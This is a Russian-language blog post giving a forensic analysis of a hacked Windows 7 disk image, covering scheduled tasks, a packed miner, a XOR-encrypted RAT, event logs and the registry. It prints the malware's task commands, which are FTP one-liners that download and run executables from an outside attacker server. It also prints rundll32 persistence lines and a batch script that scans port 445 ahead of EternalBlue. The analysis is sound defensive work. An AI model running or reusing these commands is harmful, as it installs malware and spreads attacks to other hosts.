Детальный разбор завирусованной системы

Привет! Как я уже писал ранее, систему, оставленную без файрволла с белым адресом в Интернете сломали довольно быстро.

Мой товарищ решил провести собственный эксперимент, т.к. не очень поверил в то, что такое возможно (наверное думал, что я взломал систему сам?)

Я пообещал, что поковыряюсь в его системе после взлома и я выполнил обещание. Заодно и поделюсь с вами. Кстати, я целях развития сайта пытаюсь продвигаться через Яндекс.ZEN, можете там посмотреть исследование. Ну а кто не очень хочет блуждать – читайте ниже, перенесу всё сюда.

Поехали!

Примерно так чувствует себя Windows 7 с белым адресом в Интернете
Примерно так чувствует себя Windows 7 с белым адресом в Интернете

Мой товарищ прислал мне образ диска и я начинаю ковырять его

Исследование системы

Образы

За что мне нравится исследовать образы – это очень удобно. По целому ряду причин:

  1. Мы можем повторить исследование неоднократно без опаски исказить или испортить, если монтировать образ к системе в режиме “только чтение”.
  2. Можем передать образ другому лицу (как Серёга передал мне), с жёстким диском было бы сложнее.
  3. Многие программы позволяют работать непосредственно с образом. Если нет – монтируем и получаем “виртуальный жёсткий диск”.
  4. Жёсткий диск может получить бэд-блок в нужном нам месте или вообще выйти из строя, образ лишён этого недостатка (не рассматриваем случай, когда вылетит сектор нашего жёсткого диска, на котором лежит образ – можно сделать копию образа на съёмный диск).

Поиск удалённой информации

Наиболее полная картина будет, когда мы откроем содержимое диска не через проводник Windows, а программами, использующими свой драйвер файловой системы – WinHEX, R-Studio – это позволит обходить права доступа к каталогам, получать удалённые файлы да и вообще сделает работу намного удобнее.

В разных случаях я использую различные программы, но R-Studio как правило всегда.

“Горячие точки”

Даже если на первый взгляд ничего необычного нет, (хотя у нас уже не всё ладно), поиск следов начинаем с экспресс-проверки “горячих точек” – мест, где наиболее вероятно появление различного рода вредоносного ПО:

  • Корень раздела;
  • Каталог Windows, Windows\System32, Program Files;
  • Каталоги Temp (в корне раздела, в каталоге Windows, в каталоге AppData пользователя);
  • Сам каталог AppData разных пользователей;
  • Каталог запланированных задач (Tasks), их два, если что;
  • Каталоги автозагрузки пользователей;

Если система была заражена, то 99% в одном из этих мест будет что-нибудь необычное и нехорошее, заметное даже при беглом взгляде. Все следы тщательно документируем и смотрим метки времени, особенно даты создания файлов. По этим датам ищем уже в других каталогах, R-Studio позволяет это сделать. Ну а потом начинаем “разматывать” в обе стороны – ранее и позднее от времени маркера, ищем так сказать причины и последствия :). И смотреть, что интересное есть в тех же каталогах.

Маркеры

C:\1594.vbs

Итак, на скрине выше у нас VBS-скрипт в корне диска. Выделяем файл 1594.vbs и нажимаем сочетание клавиш [Ctrl+E] – откроется HEX-редактор. Он не очень функциональный, но позволяет оценить целостность файлов.

VBS-скрипт это обычный текстовый файл с инструкциями на языке Visual Basic (один из диалектов), а здесь мы видим не вполне читаемый текст. Но есть отсылки к файлу с именем SVCHOST.EXE-80F4A784.pf – в колонке UNICODE. Файлы с такими именами относятся к механизму Windows Prefetch, нам файл не интересен. Вывод – маркер не действующий, оригинальный файл удалён, кластер, который файл занимал ранее уже выделен другому файлу.

Беглый анализ показал, что эту систему поразили тем же самым орудием, что и мою тогда, поэтому несколько маркеров я знал. Идём в планировщик задач, причём тот, что в system32. Таких задач в обычной системе быть явно не должно.

C:\Windows\System32\Tasks\Mysa

Самое вкусное тут:

cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe

По заданию происходит подключение к FTP-серверу ftp.ftp1202.site, аутентификация следующими данными: test:1433, переключение на двоичный режим передачи и скачивание с сервера файла a.exe в локальный каталог C:\windows\update.exe, затем скачанный файл запускается на выполнение. Ну всё просто – вот за что нравится разбирать текстовые файлы.

Здесь нас волнует несколько вариантов – когда была создана задача и на какое время она запланирована. Ответим на вопросы:

Создан файл: 20.12.2019 14:07:18. Из текстового содержимого узнаём, что эта задача запланирована на выполнение при загрузке. Отсюда вывод – если система не перезагружалась, то задача ни разу не выполнялась и искать маркеры, создаваемые этой задачей смысла нет.

C:\Windows\System32\Tasks\Mysa1

Содержимое файла представлено ниже

rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa

Указанная задача выполняет функцию ServiceMain с параметром “aaaa” в DLL с именем item.dat.

C:\Windows\System32\Tasks\Mysa2

Содержимое файла представлено ниже

cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p

Аналогично, качаем файл s.dat с сервера и кидаем его под именем item.dat (см. Mysa1).

C:\Windows\System32\Tasks\Mysa3

Содержимое файла представлено ниже

cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe

Ситуация аналогично, качаем файл s.rar с сервера и помещаем его под именем lsmosee.exe, вызываем выполнение.

C:\Windows\System32\Tasks\ok

Содержимое файла представлено ниже

rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa

Указанная задача выполняет функцию ServiceMain с параметром “aaaa” в DLL с именем ok.dat.

C:\Windows\System32\Tasks\oka

Содержимое файла представлено ниже

cmd /c start c:\windows\inf\aspnet\lsma12.exe

Просто выполняется файл lsma12.exe

Таски разобрали. Что можем сказать… Эти задачи ни разу не выполнялись, т.к. система не была перезагружена с момента заражения (повезло, а может и нет – следов было бы больше). Но вот файлы, которые не скачиваются, а вызываются напрямую – на этот момент уже должны находится. Поищем их.

Ожидаемо, что будет найден последний.

C:\Windows\inf\aspnet\lsma12.exe

Выделим файл и нажмём [Ctrl+E] для оценки его состояния.

Сразу скажу, как нужно оценивать EXE-файлы. Они ВСЕГДА начинаются с волшебного сочетания “MZ” (инициалы Марка Збиковски, разработчика формата исполняемых файлов), также ниже будет фраза “This program cannot be run in DOS mode” – верный признак, что файл скорее всего не повреждён. Теперь файл можно восстановить и проанализировать. Но тут мне в глаза бросились секции UPX ниже по тексту – верный признак упакованного EXE. Прежде, чем его проанализировать придётся распаковать. Благо это делается легко, тем же UPX-ом.

> upx.exe -d lsma12.exe

В итоге получим распакованный файл, годный к анализу. Отобразим текстовые строки и оценим. Здесь что-то похоже на встроенный майнер или его конфигуратор.

Попутно в том же каталоге обнаружился следующий маркер.

C:\Windows\inf\aspnet\u.exe

Увы, файл затёрт.

Посмотрим другие “горячие точки” – в каталоге Windows обнаружен целый каталог с кучей барахла.

C:\Windows\uGpFG\

Посмотрим, что там есть интересного.

C:\Windows\uGpFG\s.bat

BAT-файл “s.bat“:

del 445.txt
svchost.exe tcp 83.173.0.0 83.173.255.255 445 700 /save
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>com.dll
del result.txt
del s1.txt
del s2.txt
:end
cls

Что-то мне напоминает какой-то сканер. Приложение svchost.exe сканирует /16 подсесть на предмет 445 порта в 700 потоков. А затем идёт какой-то парсинг результатов по файлам s1.txt, s2.txt, com.dll.

Строки, характерные для сканера.

Открываю выходной файл com.dll – там порядка 231 IP-адреса, я так понимаю, у которых открыт 445-й порт – потенциальные жертвы атаки.

В том же каталоге всё необходимое для эксплойтов EthernalBlue и DoublePulsar. Точно, инфицированную машину использовали как плацдарм для дальнейших атак.


C:\Program Files (x86)\test.exe

Интересный маркер прям в Program Files (x86). Для анализа логики приложений я предпочитаю использовать IDA Pro + Hex Rays. Я не бог весть какой реверсер, но учусь )

Смотрим:

Одна из функций выглядит так:

Какой-то интересный способ запутывания, подобные 16-ричные значения вероятнее всего из диапазона ASCII и там скрыт какой-то текст. Мало того, что надо преобразовать их в ASCII символы, так ещё и расставить в нужном порядке. Это интересно. Мне в этом помогает Hex-Rays:

Упорядочиваем по смещениям:Получили путь C:\Program Files\AppPatch\.

Всё склеивается в полный путь… Проследуем туда и видим:

Да, файл действительно имеется. Расширение DLL. Оценим содержимое файла:

На первый взгляд какая-то фигня, файл зашифрован или повреждён. Ведь формат DLL точно такой же, как и EXE (см. выше), а тут явно не так… Но если присмотреться, то характерные зоны видны – просто они кодированы. Первые два байта – как бы MZ, затем есть что-то подобное с “This program cannot be run in DOS mode“.

Файл явно зашифрован Попробуем поискать метод. После непродолжительных поисков нашёл интересную функцию:

Прикинем к носу и поймём, что каждый байт XOR-ится с 0x3D, а затем прибавляется 0x3D. Данные операции довольно легко проделать в WinHEX через Edit – Modify:

Поксорим с 0x3D, затем добавим 0x30:

И вот, что получили:

Как видим – корректный заголовок! И вот уже даже секции UPX видны, сразу же проведём декомпрессию. Я уже описывал эту процедуру выше, посмотрите про lsma12.exe.

Открываем в дизассемблере и посмотрим на строковые значения, как правило, они многое могу сказать.

Судя по строкам, это какой-то интересный RAT-ник. Есть функционал поиска работающих антивирусов, процедуры работы с сервисом Mircosoft RDP Terminal Service, обфусцированные WSH-скрипты.

А вот это очевидно процедура приёма удалённых команд и выполнение определённых действий – программисты увидят известный формат операторов swtich..case:

Только тут – 12 различных функций. Займусь восстановлением функционала, но чуть позже.. Нужно поставить закладочку и идти дальше.

Так, парни, спасибо, что дочитали до этого места. Я уже заколебался печатать, если честно – самая большая статья будет на этом сайте! Думаю, она заслуживает вашего лайка, что скажете? )

Спасибо, друзья! Идём дальше.

Журналы событий

Не стоит забывать и такой огромный кладезь информации, как журнал системных событий. Пишется туда довольно много всего. Оффлайн-исследование журнала событий мы сейчас и сделаем. Первым делом скопируем каталог: C:\Windows\system32\winevt\Logs к себе в рабочую директорию.

Затем натравим на этот каталог программу FullEventLogViewer от Nirsoft (компания делает очень много маленьких и бесплатных утилиток для нашей темы).

Попробуем найти момент вторжения. Для этого упорядочим данные по столбцу времени и сделаем поиск событий с ID 4624 – сетевой вход в систему:

Самая ранняя запись с внешним IP-адресом. Прочекаем IP-адрес, заодно. Ну и полистаем журнал чуть раньше, вдруг есть еще какие следы компрометации.

По поводу пробивания IP – есть такой сайт, в форме поиска проверим адрес и увидим, что у этого IP богатая история – множество репортов о попытках взлома с этого адреса.

Листаем дальше… Дальше события – крах системного LSASS :) Похоже эксплойт немного перегнул.. Система была перезагружена.

Спустя пару минут началась загрузка полезной вредоносной нагрузки по ссылке. Интересных механизм, попало в события:

Поищем упоминания об этом домене:

Кто-то уже зарепортил. Есть SHA256 этого файла. Прочекаем его на virustotal.com:

Сомнений нет – в систему начали напихивать. Причём довольно интенсивно.

Затем ещё один сетевой вход, на сей раз с другого IP. Рейтинг у того IP – 100% “плохой” (у первого был всего 30%). Мда, тут либо подключился кто-то ещё, либо развитие атаки. Кстати, не исключено, что систему взломали два противоборствующих “клана” ботоводов.

Ну а дальше пошло закрепление в систему. Новая служба – в имени файла пропущен один символ. Кстати да, новый маркер. Можно поискать файл и проанализировать.

Посмотрим, что у этой службы под юбкой:

По всей видимости имеет отношение к криптовалютам… Возможно служба использует вычислительные мощности компьютера для личного обогащения злоумышленника.

Ещё одна служба… А в качестве имени файла – уже разобранный нами test.exe – весьма крутой кейс. Смотрите, мы нашли этот файл простым просмотром. Но если бы мы сперва анализировали журнал – всё равно его бы не пропустили, т.к. вот указание на него.

Улыбнуло… Ещё одна служба. Посмотрите имя :) И отсылка к исполняемому файлу и сразу ещё один маркер. Посмотрим.

Файл огромный – 21 Мегабайт, думаю, что это какой-то контейнер, ибо столько кода исследовать я буду очень долго… Бегло посмотрим строки и достаточно.

Также в журнале множество событий о разных ошибках приложений. Например такое:

Data = Cstr.exe - Ошибка приложения
Data = Ошибка при запуске приложения (0xc0000142). Для выхода из приложения нажмите кнопку "ОК".

Через R-Studio сделаем поиск по имени этого файла… Файл нашёлся в каталоге C:\Windows\uGpFG\. Рядом лежащие конфиги дали понять, что это эксплойт EthernalBlue. По всей видимости инфицированную машину использовали как плацдарм для дальнейших атак на другие узлы.

Жаль, мы не записали сетевой трафик, было бы очень интересно провести корреляцию по времени. Ладно, довольно события смотреть. У нас ещё осталось кое-что непросмотренное.

Системный реестр

Здесь тоже может быть много чего интересного. Реестр будем монтировать к своему. Для этого скопируем несколько файлов:

  • SOFTWARE
  • SYSTEM

из каталога C:\Windows\System32\config\ – именно тут хранится системный реестр. Остальные мне пока не нужны. Можно воспользоваться различными утилитами для работы с реестром, хоть даже штатным редактором. Подмонтируем файл и поищем разные интересные места. Например вот:

Ещё один маркер – загрузка чего-то с сервера. Лежит в классическом автозапуске (секция Run). Ещё один маркер. Файл нашёлся в system32. И там же рядом куча других файлов с похожими именами. Работы выше крыши.

Таким образом можно начинать практически с любого места и найти одни маркеры, которые в ходе разбора приведут к другим.

Дополнительный поиск известных вирусов

А можно смонтировать диск и прогнать его популярными лайтовыми антивирусными сканерами – AVZ4, CureIT, KVRT… И найти то, что ручками найти не удалось. Но это не так интересно, вы согласны?

Чтож, статья вышла монструозной, надеюсь, читать было интересно. Извиняюсь за большое количество изображений (у кого-то Интернет-трафик, но для наглядности пришлось это сделать).

Если было хоть каплю интересно – поставьте лайк! Буду признателен за комменты. Если хотите подобных или более детальных разборов – жду ваш отклик. Спокойной ночи!

Like this post? Please share to your friends:
Litl-Admin.ru

Comments:

Leave a Reply